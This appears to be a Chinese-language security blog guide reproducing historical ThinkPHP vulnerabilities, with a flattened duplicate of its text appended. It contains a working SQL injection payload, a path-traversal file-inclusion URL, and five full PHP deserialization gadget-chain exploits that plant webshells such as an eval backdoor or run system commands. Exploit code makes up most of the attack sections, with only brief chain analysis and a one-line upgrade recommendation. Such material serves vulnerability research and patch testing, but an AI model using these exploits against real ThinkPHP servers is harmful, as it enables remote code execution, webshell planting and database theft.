thinkphp学习和历史漏洞复现总结
字数 2226 2025-08-22 12:23:19

ThinkPHP 漏洞分析与复现指南

目录

  1. ThinkPHP 基础知识
  2. CVE-2018-16385 SQL注入漏洞
  3. CVE-2021-36564 反序列化漏洞
  4. CVE-2021-36567 反序列化漏洞
  5. CVE-2022-33107 反序列化漏洞
  6. CVE-2022-38352 反序列化漏洞
  7. CVE-2022-45982 反序列化漏洞
  8. CVE-2022-47945 文件包含漏洞

ThinkPHP 基础知识

安装与配置

# 安装ThinkPHP 5.0
composer create-project topthink/think=5.0.* tp5 --prefer-dist

# 安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x tp6.0.8

# 设置国内源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

目录结构

  • router.php:用于PHP自带webserver支持,可用于快速测试
  • 启动命令:php -S localhost:8888 router.php
  • 开启调试:
    • config.php中设置app_debugtrue
    • 或在项目根目录创建.env文件:app_debug = true

URL路由访问规则

  1. 普通模式
    http://serverName/index.php?s=/模块/控制器/操作/[参数名/参数值...]
    
  2. 混合模式(默认):
    'url_route_on'=>true,
    'url_route_must'=>false
    
  3. 强制模式
    'url_route_on'=>true,
    'url_route_must'=>true
    

自定义路由

application/route.php中注册:

use think\Route;
Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');

CVE-2018-16385 SQL注入漏洞

影响范围

ThinkPHP < 5.1.23

漏洞描述

在处理order by后的参数时,未正确过滤处理数组的key值,导致SQL注入。

复现步骤

  1. 安装ThinkPHP 5.1.22:

    git clone https://github.com/top-think/think.git
    git checkout v5.1.22
    composer install
    
  2. 创建测试控制器:

    public function sql(){
        $data = array();
        $data['id'] = array('eq', 'test');
        $order = $_GET['order'];
        $m = db('user')->where($data)->order($order)->find();
        dump($m);
    }
    
  3. 利用Payload:

    ?order[id`,111)|updatexml(1,concat(0x3a,user()),1)#]=1
    

漏洞分析

  • 漏洞位于thinkphp/library/think/db/Builder.phpparseOrder()函数
  • field()函数必须指定≥2个字段才能正常运行
  • 第一个字段会被添加反引号,必须为有效字段名

CVE-2021-36564 反序列化漏洞

影响范围

ThinkPHP < 6.0.9

漏洞描述

通过vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php实现反序列化漏洞。

PoC

<?php
namespace League\Flysystem\Adapter;
class Local {}

namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache {
    protected $autosave;
    protected $cache = [];
}

class Adapter extends AbstractCache {
    protected $adapter;
    protected $file;
    function __construct(){
        $this->autosave = false;
        $this->adapter = new Local();
        $this->file = 'shell.php';
        $this->cache = ['shell' => '<?php eval($_GET[1]);?>'];
    }
}

$o = new Adapter();
echo urlencode(serialize($o));
?>

漏洞分析

  1. 入口点:AbstractCache::__destruct()
  2. 调用Adapter::save()
  3. 通过getForStorage()获取写入内容
  4. 调用Local::write()实现文件写入

CVE-2021-36567 反序列化漏洞

影响范围

ThinkPHP <= 6.0.8 (Linux系统)

漏洞描述

通过League\Flysystem\Cached\Storage\AbstractCache实现反序列化漏洞,可执行系统命令。

PoC

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache {
        protected $autosave = false;
        protected $complete = [];
        protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`'];
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache {
        protected $store;
        protected $key;
        public function __construct($store, $key, $expire){
            $this->key = $key;
            $this->store = $store;
            $this->expire = $expire;
        }
    }
}

namespace think\cache{
    abstract class Driver {}
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => false,
            'path' => 'y4tacker',
            'hash_type' => 'md5',
            'serialize' => ['system'],
        ];
    }
}

namespace{
    $b = new think\cache\driver\File();
    $a = new think\filesystem\CacheStore($b, 'y4tacker', '1111');
    echo urlencode(serialize($a));
}

漏洞分析

  1. 通过AbstractCache::__destruct()触发
  2. CacheStore::save()调用getForStorage()
  3. 返回[["command"],[]]格式数据
  4. File::set()使用system函数执行命令

CVE-2022-33107 反序列化漏洞

影响范围

ThinkPHP <= 6.0.12

PoC

<?php
namespace think\model\concern{
    trait Attribute {
        private $data = ['huahua'];
    }
}

namespace think\view\driver{
    class Php {}
}

namespace think\session\driver{
    class File { }
}

namespace League\Flysystem{
    class File {
        protected $path;
        protected $filesystem;
        public function __construct($File){
            $this->path = 'shell.php';
            $this->filesystem = $File;
        }
    }
}

namespace think\console{
    use League\Flysystem\File;
    class Output {
        protected $styles = [];
        private $handle;
        public function __construct($File){
            $this->styles[] = 'getDomainBind';
            $this->handle = new File($File);
        }
    }
}

namespace think{
    abstract class Model {
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd, $File){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware, new console\Output($File), $cmd);
        }
    }
    class Middleware {
        public $request = 2333;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model {}
}

namespace think\route{
    class Url {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app, $route, $cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace{
    $zoe = '<?= phpinfo(); exit();//';
    echo urlencode(serialize(new think\Model\Pivot($zoe, new think\session\driver\File)));
}

漏洞分析

  1. 入口点:Model::__destruct()
  2. 通过table属性触发Url::__toString()
  3. 调用Output::__call() -> block() -> writeln() -> write()
  4. 最终调用File::write()写入Webshell

CVE-2022-38352 反序列化漏洞

影响范围

ThinkPHP <= 6.0.13

PoC

<?php
namespace League\Flysystem\Cached\Storage{
    class Psr6Cache {
        private $pool;
        protected $autosave = false;
        public function __construct($exp){
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel {
        protected $logger;
        protected $lazy = true;
        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request {
        protected $url;
        public function __construct(){
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App {
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request' => new Request()];
        }
    }
}

namespace think\view\driver{
    class Php {}
}

namespace think\log\driver{
    class Socket {
        protected $config = [];
        protected $app;
        public function __construct(){
            $this->config = [
                'debug' => true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php, 'display'],
            ];
            $this->app = new \think\App();
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(base64_encode(serialize($a)));
}

漏洞分析

  1. 入口点:Psr6Cache::__destruct()
  2. 调用Channel::__call() -> record()
  3. 调用Socket::save()
  4. 通过format_head调用Php::display()实现RCE

CVE-2022-45982 反序列化漏洞

影响范围

ThinkPHP 6.0.0~6.0.13 和6.1.0~6.1.1

PoC

<?php
namespace think{
    abstract class Model {
        private $lazySave = true;
        private $data = ['a' => 'b'];
        private $exists = true;
        protected $withEvent = false;
        protected $readonly = ['a'];
        protected $relationWrite;
        private $relation;
        private $origin = [];
        public function __construct($value) {
            $this->relation = ['r' => $this];
            $this->origin = ["n" => $value];
            $this->relationWrite = ['r' => ["n" => $value]];
        }
    }
    class App {
        protected $request;
    }
    class Request {
        protected $mergeParam = true;
        protected $param = ["whoami"];
        protected $filter = "system";
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model { }
}

namespace think\route{
    use think\App;
    class Url {
        protected $url = "";
        protected $domain = "domain";
        protected $route;
        protected $app;
        public function __construct($route) {
            $this->route = $route;
            $this->app = new App();
        }
    }
}

namespace think\log{
    class Channel {
        protected $lazy = false;
        protected $logger;
        protected $log = [];
        public function __construct($logger) {
            $this->logger = $logger;
    }
}

namespace think\session{
    class Store {
        protected $data;
        protected $serialize = ["call_user_func"];
        protected $id = "";
        public function __construct($data) {
            $this->data = [$data, "param"];
        }
    }
}

namespace{
    $request = new think\Request(); // param
    $store = new think\session\Store($request); // save
    $channel = new think\log\Channel($store); // __call
    $url = new think\route\Url($channel); // __toString
    $model = new think\model\Pivot($url); // __destruct
    echo urlencode(serialize($model));
}

漏洞分析

  1. 入口点:Model::__destruct()
  2. 通过relationWrite触发Url::__toString()
  3. 调用Channel::__call() -> record()
  4. 调用Store::save()使用call_user_func执行命令

CVE-2022-47945 文件包含漏洞

影响范围

ThinkPHP <= 6.0.13 (需开启多语言功能)

漏洞描述

通过get、header、cookie等位置传入参数,实现目录穿越+文件包含。

复现步骤

  1. 安装ThinkPHP 6.0.12:

    composer create-project topthink/think=6.0.12 tp6
    
  2. 修改app/middleware.php启用多语言:

    return [
        \think\middleware\LoadLangPack::class,
    ];
    
  3. 利用Payload:

    http://localhost/public?lang=public/test
    

漏洞分析

  1. LoadLangPack中间件检测lang参数
  2. 通过detect()函数获取语言设置
  3. load()函数包含指定文件路径
  4. 最终通过parse()函数实现文件包含

总结

本指南详细分析了ThinkPHP多个版本的漏洞原理和复现方法,包括:

  • SQL注入漏洞
  • 反序列化漏洞(多种利用链)
  • 文件包含漏洞

在实际测试中,需要注意:

  1. 准确识别目标ThinkPHP版本
  2. 根据版本选择合适的漏洞利用方式
  3. 注意环境配置要求(如多语言功能是否开启)
  4. 反序列化漏洞通常需要找到合适的触发点

建议开发人员及时升级到最新版本,并关闭不必要的功能模块。

ThinkPHP 漏洞分析与复现指南 目录 ThinkPHP 基础知识 CVE-2018-16385 SQL注入漏洞 CVE-2021-36564 反序列化漏洞 CVE-2021-36567 反序列化漏洞 CVE-2022-33107 反序列化漏洞 CVE-2022-38352 反序列化漏洞 CVE-2022-45982 反序列化漏洞 CVE-2022-47945 文件包含漏洞 ThinkPHP 基础知识 安装与配置 目录结构 router.php :用于PHP自带webserver支持,可用于快速测试 启动命令: php -S localhost:8888 router.php 开启调试: config.php 中设置 app_debug 为 true 或在项目根目录创建 .env 文件: app_debug = true URL路由访问规则 普通模式 : 混合模式 (默认): 强制模式 : 自定义路由 在 application/route.php 中注册: CVE-2018-16385 SQL注入漏洞 影响范围 ThinkPHP < 5.1.23 漏洞描述 在处理 order by 后的参数时,未正确过滤处理数组的key值,导致SQL注入。 复现步骤 安装ThinkPHP 5.1.22: 创建测试控制器: 利用Payload: 漏洞分析 漏洞位于 thinkphp/library/think/db/Builder.php 的 parseOrder() 函数 field() 函数必须指定≥2个字段才能正常运行 第一个字段会被添加反引号,必须为有效字段名 CVE-2021-36564 反序列化漏洞 影响范围 ThinkPHP < 6.0.9 漏洞描述 通过 vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php 实现反序列化漏洞。 PoC 漏洞分析 入口点: AbstractCache::__destruct() 调用 Adapter::save() 通过 getForStorage() 获取写入内容 调用 Local::write() 实现文件写入 CVE-2021-36567 反序列化漏洞 影响范围 ThinkPHP <= 6.0.8 (Linux系统) 漏洞描述 通过 League\Flysystem\Cached\Storage\AbstractCache 实现反序列化漏洞,可执行系统命令。 PoC 漏洞分析 通过 AbstractCache::__destruct() 触发 CacheStore::save() 调用 getForStorage() 返回 [[" command "],[]] 格式数据 File::set() 使用 system 函数执行命令 CVE-2022-33107 反序列化漏洞 影响范围 ThinkPHP <= 6.0.12 PoC 漏洞分析 入口点: Model::__destruct() 通过 table 属性触发 Url::__toString() 调用 Output::__call() -> block() -> writeln() -> write() 最终调用 File::write() 写入Webshell CVE-2022-38352 反序列化漏洞 影响范围 ThinkPHP <= 6.0.13 PoC 漏洞分析 入口点: Psr6Cache::__destruct() 调用 Channel::__call() -> record() 调用 Socket::save() 通过 format_head 调用 Php::display() 实现RCE CVE-2022-45982 反序列化漏洞 影响范围 ThinkPHP 6.0.0~6.0.13 和6.1.0~6.1.1 PoC 漏洞分析 入口点: Model::__destruct() 通过 relationWrite 触发 Url::__toString() 调用 Channel::__call() -> record() 调用 Store::save() 使用 call_user_func 执行命令 CVE-2022-47945 文件包含漏洞 影响范围 ThinkPHP <= 6.0.13 (需开启多语言功能) 漏洞描述 通过get、header、cookie等位置传入参数,实现目录穿越+文件包含。 复现步骤 安装ThinkPHP 6.0.12: 修改 app/middleware.php 启用多语言: 利用Payload: 漏洞分析 LoadLangPack 中间件检测 lang 参数 通过 detect() 函数获取语言设置 load() 函数包含指定文件路径 最终通过 parse() 函数实现文件包含 总结 本指南详细分析了ThinkPHP多个版本的漏洞原理和复现方法,包括: SQL注入漏洞 反序列化漏洞(多种利用链) 文件包含漏洞 在实际测试中,需要注意: 准确识别目标ThinkPHP版本 根据版本选择合适的漏洞利用方式 注意环境配置要求(如多语言功能是否开启) 反序列化漏洞通常需要找到合适的触发点 建议开发人员及时升级到最新版本,并关闭不必要的功能模块。